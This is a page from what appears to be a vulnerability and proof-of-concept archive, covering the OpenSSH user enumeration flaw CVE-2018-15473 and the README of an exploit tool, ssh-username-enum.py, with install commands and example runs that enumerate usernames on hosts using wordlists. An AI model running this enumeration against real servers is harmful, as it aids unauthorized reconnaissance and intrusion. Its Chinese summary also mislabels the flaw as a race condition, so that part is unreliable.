关联漏洞
标题：
OpenSSH 竞争条件问题漏洞
(CVE-2018-15473)
描述：OpenSSH（OpenBSD Secure Shell）是OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现，支持对所有的传输进行加密，可有效阻止窃听、连接劫持以及其他网络级的攻击。 OpenSSH 7.7及之前版本中存在竞争条件问题漏洞。该漏洞源于网络系统或产品在运行过程中，并发代码需要互斥地访问共享资源时，对于并发访问的处理不当。
介绍
CVE-2018-15473
---
OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an
invalid authenticating user until after the packet containing the request has been fully parsed, related to
auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.
Install
---
You may need to install your distro's equivalent `openssl-dev` package
```bash
# NOTE: if you're installing on kali, you can skip the pip install; paramiko is already there.
git clone https://gitlab.com/epi052/cve-2018-15473.git
cd cve-2018-15473
pip install -r requirements.txt
# - OR -
pipenv install -r requirements.txt # if you're cool like that
chmod u+x ssh-username-enum.py
```
Examples
---
A single username
```bash
(cve-2018-15473)─> ./ssh-username-enum.py -u epi 192.168.1.2
[+] epi found!
```
Use a wordlist with 10 threads (the default is 4)
```bash
(cve-2018-15473)─> ./ssh-username-enum.py -t 10 -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt 192.168.1.2
[+] avahi found!
[+] avahi-autoipd found!
[+] backup found!
[+] daemon found!
[+] bin found!
------8<------
```
IPv6 Address on port 2222 and INCREASED VERBOSITY!
```bash
(cve-2018-15473)─> ./ssh-username-enum.py -6 -p 2222 -v -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt '::1'
[-] 4Dgifts not found
[-] demo not found
[-] checkfs not found
[-] anon not found
[-] EZsetup not found
[-] auditor not found
[-] demos not found
[-] OutOfBox not found
[-] checkfsys not found
[+] avahi found!
[-] diag not found
[-] ROOT not found
[-] checksys not found
[-] cmwlogin not found
[+] avahi-autoipd found!
------8<------
```
文件快照
[4.0K] /data/pocs/7a796e89695bdd3f4c080555db4fdcb81a448558
├── [1.1K] LICENSE
├── [1.6K] README.md
├── [ 148] requirements.txt
└── [7.5K] ssh-username-enum.py
0 directories, 4 files
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